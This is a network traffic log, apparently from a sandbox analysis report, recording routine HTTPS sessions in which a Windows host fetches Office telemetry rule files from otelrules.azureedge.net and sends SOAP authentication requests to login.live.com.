2024-12-02 00:34:54 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:54 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: b8dd1d48-d01e-005a-01dc-437fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003454Z-174f7845968ljs8phC1EWRe6en00000013eg00000000k6tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:54 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	49903	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-12-02 00:34:55 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:55 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: 9d51ba91-9f36-47fa-b0f5-7f67c896544d PPServer: PPV: 30 H: PH1PEPF00011E58 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:55 GMT Connection: close Content-Length: 1918
2024-12-02 00:34:55 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49904	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-12-02 00:34:55 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C523_SN1 x-ms-request-id: e81ec933-0296-458a-8186-8dfcba10018b PPServer: PPV: 30 H: SN1PEPF0002F08E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:54 GMT Connection: close Content-Length: 11410
2024-12-02 00:34:56 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:55 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:55 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ab0c55e0-101e-00a2-20a2-429f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003455Z-174f78459684db9fhC1EWRc7g400000003tg000000001b2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:55 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:55 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:56 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:56 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003456Z-174f7845968px8v7hC1EWR08ng00000013y000000000av3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:56 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:56 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2df421c-b01e-0021-5593-43cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003456Z-174f7845968qj8jrhC1EWRh41s00000013h000000000n82a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:56 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:56 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 5bb85073-401e-005b-22cf-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003456Z-174f7845968cpnpfhC1EWR3afc00000013dg000000000y1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:56 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: fe0e881e-601e-0050-1a3a-402c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003456Z-174f7845968psccphC1EWRuz9s00000013ug00000000nncq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:57 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:57 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: c2b00c79-201e-0000-27b2-42a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003457Z-174f7845968qj8jrhC1EWRh41s00000013g000000000qfhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:58 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	49911	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-12-02 00:34:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:58 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:58 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: d843debf-e0d7-43b7-935a-3dd68025b6ec PPServer: PPV: 30 H: SN1PEPF0002F0E5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:58 GMT Connection: close Content-Length: 1918
